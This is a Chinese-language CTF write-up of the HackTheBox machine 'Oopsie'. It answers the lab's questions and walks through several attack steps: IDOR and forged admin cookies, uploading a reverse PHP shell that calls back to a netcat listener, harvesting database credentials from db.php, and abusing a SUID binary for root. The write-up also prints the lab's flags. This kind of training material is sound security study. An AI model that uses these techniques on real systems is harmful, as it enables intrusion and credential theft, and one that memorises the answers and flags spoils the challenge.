目標:Oopsie
解題關鍵:抓住Oopsie的Web應用對Cookie的處理不夠安全的漏洞,偽造admin的Cookie來上傳反向PHP shell。
解題過程:
作者使用Kali Linux作為滲透測試平台,在Kali Linux上首先通過openvpn建立與Hackthebox網站的VPN連接,得到目標Oopsie實例的IP地址:
# openvpn starting_point_jasonhuawen.ovpn

第3題:With what kind of tool can intercept web traffic?
答案:Proxy(簡單!!!)
第4題:What is the path to the directory on the webserver that returns a login page?
思路:由於NMAP掃描結果可以知道,目標運行兩種服務:HTTP以及SSH, 這個題目的提示是需要用到爬蟲工具,雖然可以用dirb等工具,我嘗試用dirb去爬,感覺耗費時間很長,結果發現但最有效的還是Burpsuite,在訪問網站的過程中了,抓到了一個URL,看起來很可疑:/cdn-cgi/login/script.js (需要留意每個Spider下來的URL)
因此嘗試登陸http:// 10.129.33.182/cdn-cgi/login/, 結果發現確實是個登陸頁面。這樣第4題的答案也就出來了!!!

答案:/cdn-cgi/login
第5題:What can be modified in Firefox to get access to the upload page?
答案:cookie
第6題:What is the access ID of the admin user?
思路:從登陸頁面本身就很明顯可以看到可以以guest身份登陸,而且發現無需密碼即可登陸

進入account, 發現guest的Access ID是2233,所以估計admin的URL中的參數ID應該會低(guest的URL參數中ID為2),所以就用ID=1嘗試:

http://10.129.33.182/cdn-cgi/login/admin.php?content=accounts&id=2,改變這個id。發現將id改成1,直接就是admin了,access ID也就出來了

答案:34322
第7題:On uploading a file, what directory does that file appear in on the server?
思路:根據題目本身的提示(hint):Use a tool like gobuster to brute force directories on the webserver. 那就別廢話了,所以就用gobuster工具進行暴力枚舉了,找出文件上傳目錄,先用個小的字典試試:
# gobuster dir --url http://10.129.33.182 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
發現沒掃一會兒就發現了跟上傳相關的目錄了:http://10.129.33.182/uploads/
答案:uploads

思路:后面的題更加有難度,需要拿到更多的權限。在登錄http://10.129.33.182/uploads/時,用burp修改cookie中的userid(34322) 以及角色(admin),假冒admin用戶的cookie,發現成功進入uploads頁面。因為用guest用戶身份是無法訪問uploads頁面的,所以需要想辦法偽裝成admin管理員。
此時需要生成web shell,並通過這個目錄頁面上傳到目標(注意在上傳過程中需要供burp修改截獲到的每次request請求,將cookie中id改為34322以及role改為admin,否則會失敗):
#weevely generate jason jason.php
不過不知道怎么回事這個shell似乎不行,感覺會被移動到其他目錄,只短暫用weevely訪問了一下shell。
因此考慮用反向revershell
從網上下載了一個php 反向代理shell,
#git clone https://github.com/pentestmonkey/php-reverse-shell.git
用同樣的方法,將這個shell,這里的shell需要修改回連的IP地址以及端口,也就是Kali Linux,修改后用同樣的辦法的上傳到網站(也就是用burpsuite攔截請求,將user id 改成34322以及role改成admin),此時在kali Linux上運行nc -lnvp 12345啟動監聽。
訪問目標網站的shell頁面,即可成功回連到Kali Linux,
成果拿到user.txt 其中有flag
f2c74ee8db7983851ab2a96a44eb7981
接下來設法獲得robert用戶密碼,這個用戶名密碼可能會在連接數據庫的php文件中,用locate定位一下
#locate www
/var/www/html
/var/www/html/cdn-cgi
/var/www/html/css
/var/www/html/fonts
/var/www/html/images
/var/www/html/index.php
/var/www/html/js
/var/www/html/themes
/var/www/html/uploads
/var/www/html/cdn-cgi/login
/var/www/html/cdn-cgi/login/admin.php
/var/www/html/cdn-cgi/login/db.php
/var/www/html/cdn-cgi/login/index.php
/var/www/html/cdn-cgi/login/script.js
/var/www/html/css/1.css
/var/www/html/css/bootstrap.min.css
/var/www/html/css/font-awesome.min.css
/var/www/html/css/ionicons.min.css
/var/www/html/css/new.css
/var/www/html/css/normalize.min.css
/var/www/html/css/reset.min.css
/var/www/html/fonts/fontawesome-webfont.ttf
/var/www/html/images/1.jpg
/var/www/html/images/2.jpg
/var/www/html/images/3.jpg
/var/www/html/js/bootstrap.min.js
/var/www/html/js/index.js
/var/www/html/js/jquery.min.js
/var/www/html/js/min.js
/var/www/html/js/prefixfree.min.js
/var/www/html/themes/theme.css
查找到的文件中這個文件需要引起注意,/var/www/html/cdn-cgi/login/db.php
查看這個文件的內容
www-data@oopsie:/home/robert$ cat /var/www/html/cdn-cgi/login/db.php
cat /var/www/html/cdn-cgi/login/db.php
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
里面可以看到用戶名robert以及密碼。
而從前面nmap掃描可以知道ssh服務是開放的,因此嘗試連接ssh
#ssh robert@10.129.215.75
登錄后
#id
#uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)
發現robert是bugtracker組成員,查找一下與bugtracker有關的文件:
#locate bugtracker
發現了: /usr/bin/bugtracker,而且是可執行文件
#cd /usr/bin/
#./bugtracker

第8題:What is the file that contains the password that is shared with the robert user?
答案:db.php
第9題:What executible is run with the option "-group bugtracker" to identify all files owned by the bugtracker group?
答案:find
第10題:Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?
答案:root
第11題:What SUID stands for?
答案:Set owner User ID(搜谷歌即可得到答案)
通過bugtracker執行程序,並提交../root.txt參數,成功提取root flag
af13b0bee69f8a877c3faf667f7beacf
